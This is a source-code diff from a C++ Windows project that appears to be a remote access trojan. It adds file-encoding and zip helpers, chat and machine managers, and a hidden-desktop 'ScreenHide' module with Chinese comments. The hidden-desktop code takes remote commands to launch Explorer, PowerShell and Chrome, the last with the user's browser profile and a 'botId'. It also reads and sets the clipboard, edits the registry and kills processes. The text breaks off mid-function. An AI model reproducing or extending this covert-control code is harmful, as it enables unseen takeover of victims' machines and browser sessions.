unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
|
||||
{
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
if (_signLen == 0) {
|
||||
decode(data, size);
|
||||
return data;
|
||||
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||
size -= _signLen;
|
||||
unsigned char* p = new unsigned char[size];
|
||||
memcpy(p, data + _signLen, size);
|
||||
decode(p, size);
|
||||
delete[] data;
|
||||
return p;
|
||||
} else {
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
class MasterEncoder
|
||||
{
|
||||
public:
|
||||
MasterEncoder();
|
||||
~MasterEncoder();
|
||||
|
||||
void setSignAndKey(char* sign, int signLen, unsigned char key);
|
||||
|
||||
void decode(unsigned char* data, long size);
|
||||
void encode(unsigned char* data, long size);
|
||||
|
||||
void writePDF(const std::string& filePath, unsigned char* data, long size);
|
||||
unsigned char* readPDF(const std::string& filepath, long& size);
|
||||
|
||||
public:
|
||||
void encodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||
void decodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||
unsigned char* decode(const std::string& pdfPath, long& size);
|
||||
|
||||
private:
|
||||
unsigned char _codeKey;
|
||||
char* _sign;
|
||||
int _signLen;
|
||||
};
|
||||
|
||||
}
|
||||
+2911
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,207 @@
|
||||
//
|
||||
//http://www.codeproject.com/KB/files/zip_utils.aspx
|
||||
//
|
||||
|
||||
#ifndef _zip_H
|
||||
#define _zip_H
|
||||
|
||||
|
||||
// ZIP functions -- for creating zip files
|
||||
// This file is a repackaged form of the Info-Zip source code available
|
||||
// at www.info-zip.org. The original copyright notice may be found in
|
||||
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
|
||||
// extend its use in Windows/C++. Also to add encryption and unicode.
|
||||
|
||||
|
||||
#ifndef _unzip_H
|
||||
DECLARE_HANDLE(HZIP);
|
||||
#endif
|
||||
// An HZIP identifies a zip file that is being created
|
||||
|
||||
typedef DWORD ZRESULT;
|
||||
// return codes from any of the zip functions. Listed later.
|
||||
|
||||
|
||||
|
||||
HZIP CreateZip(const TCHAR* fn, const char* password);
|
||||
HZIP CreateZip(void* buf, unsigned int len, const char* password);
|
||||
HZIP CreateZipHandle(HANDLE h, const char* password);
|
||||
// CreateZip - call this to start the creation of a zip file.
|
||||
// As the zip is being created, it will be stored somewhere:
|
||||
// to a pipe: CreateZipHandle(hpipe_write);
|
||||
// in a file (by handle): CreateZipHandle(hfile);
|
||||
// in a file (by name): CreateZip("c:\\test.zip");
|
||||
// in memory: CreateZip(buf, len);
|
||||
// or in pagefile memory: CreateZip(0, len);
|
||||
// The final case stores it in memory backed by the system paging file,
|
||||
// where the zip may not exceed len bytes. This is a bit friendlier than
|
||||
// allocating memory with new[]: it won't lead to fragmentation, and the
|
||||
// memory won't be touched unless needed. That means you can give very
|
||||
// large estimates of the maximum-size without too much worry.
|
||||
// As for the password, it lets you encrypt every file in the archive.
|
||||
// (This api doesn't support per-file encryption.)
|
||||
// Note: because pipes don't allow random access, the structure of a zipfile
|
||||
// created into a pipe is slightly different from that created into a file
|
||||
// or memory. In particular, the compressed-size of the item cannot be
|
||||
// stored in the zipfile until after the item itself. (Also, for an item added
|
||||
// itself via a pipe, the uncompressed-size might not either be known until
|
||||
// after.) This is not normally a problem. But if you try to unzip via a pipe
|
||||
// as well, then the unzipper will not know these things about the item until
|
||||
// after it has been unzipped. Therefore: for unzippers which don't just write
|
||||
// each item to disk or to a pipe, but instead pre-allocate memory space into
|
||||
// which to unzip them, then either you have to create the zip not to a pipe,
|
||||
// or you have to add items not from a pipe, or at least when adding items
|
||||
// from a pipe you have to specify the length.
|
||||
// Note: for windows-ce, you cannot close the handle until after CloseZip.
|
||||
// but for real windows, the zip makes its own copy of your handle, so you
|
||||
// can close yours anytime.
|
||||
|
||||
|
||||
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
|
||||
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
|
||||
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
|
||||
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
|
||||
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
|
||||
// ZipAdd - call this for each file to be added to the zip.
|
||||
// dstzn is the name that the file will be stored as in the zip file.
|
||||
// The file to be added to the zip can come
|
||||
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
|
||||
// from a file: ZipAddHandle(hz,"file.dat", hfile);
|
||||
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
|
||||
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
|
||||
// (folder): ZipAddFolder(hz,"subdir");
|
||||
// Note: if adding an item from a pipe, and if also creating the zip file itself
|
||||
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
|
||||
// function. This will let the zipfile store the item's size ahead of the
|
||||
// compressed item itself, which in turn makes it easier when unzipping the
|
||||
// zipfile from a pipe.
|
||||
|
||||
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
|
||||
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
|
||||
// then this function will return information about that memory block.
|
||||
// buf will receive a pointer to its start, and len its length.
|
||||
// Note: you can't add any more after calling this.
|
||||
|
||||
ZRESULT CloseZip(HZIP hz);
|
||||
// CloseZip - the zip handle must be closed with this function.
|
||||
|
||||
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
|
||||
// FormatZipMessage - given an error code, formats it as a string.
|
||||
// It returns the length of the error message. If buf/len points
|
||||
// to a real buffer, then it also writes as much as possible into there.
|
||||
|
||||
|
||||
|
||||
// These are the result codes:
|
||||
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
|
||||
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
|
||||
// The following come from general system stuff (e.g. files not openable)
|
||||
#define ZR_GENMASK 0x0000FF00
|
||||
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
|
||||
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
|
||||
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
|
||||
#define ZR_WRITE 0x00000400 // a general error writing to the file
|
||||
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
|
||||
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
|
||||
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
|
||||
#define ZR_READ 0x00000800 // a general error reading the file
|
||||
// The following come from mistakes on the part of the caller
|
||||
#define ZR_CALLERMASK 0x00FF0000
|
||||
#define ZR_ARGS 0x00010000 // general mistake with the arguments
|
||||
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
|
||||
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
|
||||
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
|
||||
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
|
||||
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
|
||||
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
|
||||
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
|
||||
// The following come from bugs within the zip library itself
|
||||
#define ZR_BUGMASK 0xFF000000
|
||||
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
|
||||
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
|
||||
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
|
||||
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// e.g.
|
||||
//
|
||||
// (1) Traditional use, creating a zipfile from existing files
|
||||
// HZIP hz = CreateZip("c:\\simple1.zip",0);
|
||||
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
|
||||
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
|
||||
// CloseZip(hz);
|
||||
//
|
||||
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
|
||||
// HZIP hz = CreateZip(0,100000, 0);
|
||||
// // adding a conventional file...
|
||||
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
|
||||
// // adding something from memory...
|
||||
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
|
||||
// ZipAdd(hz,"file.dat", buf,1000);
|
||||
// // adding something from a pipe...
|
||||
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
|
||||
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
|
||||
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
|
||||
// WaitForSingleObject(hthread,INFINITE);
|
||||
// CloseHandle(hthread); CloseHandle(hread);
|
||||
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
|
||||
// { HANDLE hwrite = (HANDLE)dat;
|
||||
// char buf[1000]={17};
|
||||
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
|
||||
// CloseHandle(hwrite);
|
||||
// return 0;
|
||||
// }
|
||||
// // and now that the zip is created, let's do something with it:
|
||||
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
|
||||
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
|
||||
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
|
||||
// CloseHandle(hfz);
|
||||
// CloseZip(hz);
|
||||
//
|
||||
// (3) Handle use, for file handles and pipes
|
||||
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
|
||||
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
|
||||
// HZIP hz = CreateZipHandle(hzwrite,0);
|
||||
// // ... add to it
|
||||
// CloseZip(hz);
|
||||
// CloseHandle(hzwrite);
|
||||
// WaitForSingleObject(hthread,INFINITE);
|
||||
// CloseHandle(hthread);
|
||||
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
|
||||
// { HANDLE hread = (HANDLE)dat;
|
||||
// char buf[1000];
|
||||
// while (true)
|
||||
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
|
||||
// // ... and do something with this zip data we're receiving
|
||||
// if (red==0) break;
|
||||
// }
|
||||
// CloseHandle(hread);
|
||||
// return 0;
|
||||
// }
|
||||
|
||||
|
||||
|
||||
// Now we indulge in a little skullduggery so that the code works whether
|
||||
// the user has included just zip or both zip and unzip.
|
||||
// Idea: if header files for both zip and unzip are present, then presumably
|
||||
// the cpp files for zip and unzip are both present, so we will call
|
||||
// one or the other of them based on a dynamic choice. If the header file
|
||||
// for only one is present, then we will bind to that particular one.
|
||||
ZRESULT CloseZipZ(HZIP hz);
|
||||
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
|
||||
bool IsZipHandleZ(HZIP hz);
|
||||
#ifdef _unzip_H
|
||||
#undef CloseZip
|
||||
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
|
||||
#else
|
||||
#define CloseZip CloseZipZ
|
||||
#define FormatZipMessage FormatZipMessageZ
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -194,6 +194,13 @@
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp">
|
||||
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
@@ -214,6 +221,7 @@
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
@@ -225,6 +233,8 @@
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -247,6 +257,13 @@
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
@@ -269,6 +286,7 @@
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
@@ -281,6 +299,9 @@
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
|
||||
+7
-2
@@ -9,14 +9,19 @@
|
||||
#define IDI_ICON2 105
|
||||
#define IDI_ICON_MSG 105
|
||||
#define IDC_EDIT_MESSAGE 1000
|
||||
#define IDD_CHAT 106
|
||||
#define IDC_EDIT_CHATLOG 1001
|
||||
#define IDC_EDIT_NEWMSG 1002
|
||||
#define IDC_BUTTON_SEND 1003
|
||||
#define IDC_BUTTON_END 1004
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 106
|
||||
#define _APS_NEXT_RESOURCE_VALUE 107
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1005
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
||||
@@ -0,0 +1,615 @@
|
||||
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "StdAfx.h"
|
||||
#include <Windowsx.h>
|
||||
#include "ScreenHideManager.h"
|
||||
#include <WinUser.h>
|
||||
#include <string>
|
||||
#include <Shlwapi.h>
|
||||
#include <ShlObj.h>
|
||||
#include <Tlhelp32.h>
|
||||
#include <shellapi.h>
|
||||
#include <winioctl.h>
|
||||
#include <Wtsapi32.h>
|
||||
#include <set>
|
||||
#include <vector>
|
||||
|
||||
|
||||
#pragma comment (lib, "Shlwapi.lib")
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
|
||||
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
|
||||
// 切换到目标桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 枚举目标桌面的所有窗口
|
||||
BOOL bFound = FALSE;
|
||||
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
||||
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
||||
|
||||
DWORD dwProcessId;
|
||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||
|
||||
// 获取进程名
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||||
if (hProcess) {
|
||||
char exePath[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||||
if (_stricmp(exePath, pData->first) == 0) {
|
||||
*(pData->second) = TRUE;
|
||||
return FALSE; // 终止枚举
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
return TRUE; // 继续枚举
|
||||
}, reinterpret_cast<LPARAM>(&data));
|
||||
|
||||
return bFound;
|
||||
}
|
||||
|
||||
// 获取指定桌面下的所有进程ID
|
||||
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
|
||||
std::set<DWORD> pidSet;
|
||||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
if (SetThreadDesktop(hDesk)) {
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
|
||||
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
|
||||
|
||||
// 跳过不可见窗口和子窗口
|
||||
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||
DWORD pid = 0;
|
||||
GetWindowThreadProcessId(hWnd, &pid);
|
||||
if (pid != 0) pids.insert(pid);
|
||||
}
|
||||
return TRUE;
|
||||
}, reinterpret_cast<LPARAM>(&pidSet));
|
||||
SetThreadDesktop(hOriginalDesk);
|
||||
}
|
||||
|
||||
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
|
||||
}
|
||||
|
||||
bool IsSystemProcess(DWORD pid) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) return true;
|
||||
|
||||
char exeName[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
bool isSystem = false;
|
||||
|
||||
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||
isSystem = (_stricmp(exeName, szExplorerFile)==0);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
return isSystem;
|
||||
}
|
||||
|
||||
void SafeTerminateDesktopProcesses(HDESK hDesk) {
|
||||
// 检查桌面句柄有效性
|
||||
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
|
||||
|
||||
// 获取当前桌面(用于恢复)
|
||||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||
if (!hOriginalDesk) {
|
||||
Mprintf("Failed to get original desktop\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 切换桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
Mprintf("SetThreadDesktop failed\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 枚举进程
|
||||
auto pids = GetProcessIdsInDesktop(hDesk);
|
||||
SetThreadDesktop(hOriginalDesk); // 立即恢复
|
||||
|
||||
// 终止进程
|
||||
for (DWORD pid : pids) {
|
||||
if (pid == GetCurrentProcessId()) continue; // 跳过自己
|
||||
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) {
|
||||
Mprintf("OpenProcess failed for PID: %d\n", pid);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 检查是否为系统进程
|
||||
if (IsSystemProcess(pid)) {
|
||||
CloseHandle(hProcess);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 终止进程
|
||||
if (!TerminateProcess(hProcess, 0)) {
|
||||
Mprintf("TerminateProcess failed for PID: %d\n", pid);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
void CopyDir(TCHAR* from, TCHAR* to)
|
||||
{
|
||||
TCHAR fromWildCard[MAX_PATH] = { 0 };
|
||||
lstrcpy(fromWildCard, from);
|
||||
lstrcat(fromWildCard, _T("\\*"));
|
||||
|
||||
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
return;
|
||||
WIN32_FIND_DATA findData;
|
||||
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
|
||||
if (hFindFile == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
do {
|
||||
TCHAR currFileFrom[MAX_PATH] = { 0 };
|
||||
lstrcpy(currFileFrom, from);
|
||||
lstrcat(currFileFrom, _T("\\"));
|
||||
lstrcat(currFileFrom, findData.cFileName);
|
||||
|
||||
TCHAR currFileTo[MAX_PATH] = { 0 };
|
||||
lstrcpy(currFileTo, to);
|
||||
lstrcat(currFileTo, _T("\\"));
|
||||
lstrcat(currFileTo, findData.cFileName);
|
||||
|
||||
if
|
||||
(
|
||||
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
|
||||
strcmp(findData.cFileName, _T(".")) &&
|
||||
strcmp(findData.cFileName, _T(".."))
|
||||
) {
|
||||
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
|
||||
CopyDir(currFileFrom, currFileTo);
|
||||
} else
|
||||
CopyFile(currFileFrom, currFileTo, FALSE);
|
||||
} while (FindNextFile(hFindFile, &findData));
|
||||
}
|
||||
|
||||
void killproc(const TCHAR* name)
|
||||
{
|
||||
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
|
||||
PROCESSENTRY32 pEntry;
|
||||
pEntry.dwSize = sizeof(pEntry);
|
||||
BOOL hRes = Process32First(hSnapShot, &pEntry);
|
||||
while (hRes) {
|
||||
if (strcmp(pEntry.szExeFile, name) == 0) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
|
||||
(DWORD)pEntry.th32ProcessID);
|
||||
if (hProcess != NULL) {
|
||||
TerminateProcess(hProcess, 9);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
hRes = Process32Next(hSnapShot, &pEntry);
|
||||
}
|
||||
CloseHandle(hSnapShot);
|
||||
}
|
||||
|
||||
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
|
||||
CScreenManagerBase(pClient, nBitDepth, user)
|
||||
{
|
||||
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
|
||||
}
|
||||
|
||||
CScreenHideManager::~CScreenHideManager()
|
||||
{
|
||||
}
|
||||
|
||||
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == TOKEN_HEARTBEAT)
|
||||
return;
|
||||
|
||||
switch (lpBuffer[0]) {
|
||||
case COMMAND_FLUSH_HIDE:
|
||||
ResetScreen(32);
|
||||
break;
|
||||
case COMMAND_SCREEN_CONTROL:
|
||||
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
case COMMAND_NEXT:
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||||
SendClientClipboard();
|
||||
break;
|
||||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
case COMMAND_SCREEN_SETSCREEN_HIDE:
|
||||
Loop_Screen();
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(60);
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(85);
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(100);
|
||||
break;
|
||||
case COMMAND_HIDE_USER: {
|
||||
return OnUserCommand(lpBuffer, nSize);
|
||||
}
|
||||
break;
|
||||
case COMMAND_HIDE_CLEAR:
|
||||
SafeTerminateDesktopProcesses(g_hDesk);
|
||||
break;
|
||||
default:
|
||||
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
|
||||
char* deskName = (char*)m_DesktopID.c_str();
|
||||
switch (lpBuffer[1]) {
|
||||
case IDM_OPEN_Explorer: {
|
||||
const DWORD neverCombine = 2;
|
||||
const TCHAR* valueName = _T("TaskbarGlomLevel");
|
||||
|
||||
HKEY hKey;
|
||||
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
|
||||
DWORD value;
|
||||
DWORD size = sizeof(DWORD);
|
||||
DWORD type = REG_DWORD;
|
||||
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
|
||||
|
||||
if (value != neverCombine)
|
||||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
|
||||
|
||||
TCHAR explorerPath[MAX_PATH] = { 0 };
|
||||
GetWindowsDirectory(explorerPath, MAX_PATH);
|
||||
lstrcat(explorerPath, _T("\\"));
|
||||
lstrcat(explorerPath, _T("explorer.exe"));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
|
||||
APPBARDATA appbarData;
|
||||
appbarData.cbSize = sizeof(appbarData);
|
||||
for (int i = 0; i < 5; ++i) {
|
||||
Sleep(1000);
|
||||
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
|
||||
if (appbarData.hWnd)
|
||||
break;
|
||||
}
|
||||
|
||||
appbarData.lParam = ABS_ALWAYSONTOP;
|
||||
SHAppBarMessage(ABM_SETSTATE, &appbarData);
|
||||
|
||||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
|
||||
RegCloseKey(hKey);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_run: {
|
||||
TCHAR rundllPath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
|
||||
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Powershell: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Chrome: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcat(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("User Data\\"));
|
||||
|
||||
TCHAR botId[35] = { 0 };
|
||||
